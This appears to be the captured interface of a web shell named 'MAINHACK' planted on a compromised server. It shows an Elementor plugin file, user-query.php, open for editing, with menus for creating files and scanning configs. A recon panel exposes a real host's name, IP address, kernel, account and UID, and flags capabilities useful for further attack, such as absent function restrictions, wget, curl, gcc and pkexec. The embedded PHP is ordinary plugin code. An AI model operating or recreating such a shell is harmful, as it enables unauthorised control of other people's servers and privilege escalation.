[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: user-query.php
<?php namespace Elementor\Modules\WpRest\Classes; use Elementor\Core\Utils\Collection; use Elementor\Modules\WpRest\Base\Query as Base; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class User_Query extends Base { const ENDPOINT = 'user'; const SEARCH_FILTER_ACCEPTED_ARGS = 1; /** * @param \WP_REST_Request $request * @return \WP_REST_Response */ protected function get( \WP_REST_Request $request ) { $params = $request->get_params(); $search_term = trim( $params[ self::SEARCH_TERM_KEY ] ?? '' ); if ( empty( $search_term ) ) { return new \WP_REST_Response( [ 'success' => true, 'data' => [ 'value' => [], ], ], 200 ); } $keys_format_map = $params[ self::KEYS_CONVERSION_MAP_KEY ]; $requested_count = $params[ self::ITEMS_COUNT_KEY ] ?? 0; $validated_count = max( $requested_count, 1 ); $count = min( $validated_count, self::MAX_RESPONSE_COUNT ); $query_args = [ 'number' => $count, 'search' => "*$search_term*", ]; if ( ! empty( $params[ self::META_QUERY_KEY ] ) && is_array( $params[ self::META_QUERY_KEY ] ) ) { $query_args['meta_query'] = $params[ self::META_QUERY_KEY ]; } $this->add_filter_to_customize_query(); $users = Collection::make( get_users( $query_args ) ); $this->remove_filter_to_customize_query(); global $wp_roles; $roles = $wp_roles->roles; return new \WP_REST_Response( [ 'success' => true, 'data' => [ 'value' => array_values( $users ->map( function ( $user ) use ( $keys_format_map, $roles ) { $user_object = (array) $user; $user_object['display_name'] = $user->data->display_name; if ( isset( $user_object['roles'][0] ) ) { $user_role = $user_object['roles'][0]; $role = $roles[ $user_role ]['name']; $user_object['role'] = $role ?? ucfirst( $user_role ); } return $this->translate_keys( $user_object, $keys_format_map ); } ) ->all() ), ], ], 200 ); } public function customize_user_query( $columns ) { if ( ! in_array( 'ID', $columns, true ) ) { $columns[] = 'ID'; } return $columns; } /** * @return void */ private function add_filter_to_customize_query() { $priority = self::SEARCH_FILTER_PRIORITY; $accepted_args = self::SEARCH_FILTER_ACCEPTED_ARGS; add_filter( 'user_search_columns', [ $this, 'customize_user_query' ], $priority, $accepted_args ); } /** * @return void */ private function remove_filter_to_customize_query() { $priority = self::SEARCH_FILTER_PRIORITY; $accepted_args = self::SEARCH_FILTER_ACCEPTED_ARGS; remove_filter( 'user_search_columns', [ $this, 'customize_user_query' ], $priority, $accepted_args ); } /** * @return array */ protected function get_endpoint_registration_args(): array { return [ self::SEARCH_TERM_KEY => [ 'description' => 'Posts to search', 'type' => 'string', 'required' => false, 'default' => '', 'sanitize_callback' => 'sanitize_text_field', ], self::KEYS_CONVERSION_MAP_KEY => [ 'description' => 'Specify keys to extract and convert, i.e. ["key_1" => "new_key_1"].', 'type' => [ 'array', 'string' ], 'required' => false, 'default' => [ 'ID' => 'id', 'display_name' => 'label', 'role' => 'groupLabel', ], 'sanitize_callback' => fn ( ...$args ) => self::sanitize_string_array( ...$args ), ], self::ITEMS_COUNT_KEY => [ 'description' => 'Posts per page', 'type' => 'integer', 'required' => false, 'default' => self::MAX_RESPONSE_COUNT, ], ]; } protected static function get_allowed_param_keys(): array { return [ self::KEYS_CONVERSION_MAP_KEY, self::ITEMS_COUNT_KEY, ]; } protected static function get_keys_to_encode(): array { return [ self::KEYS_CONVERSION_MAP_KEY ]; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.22 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002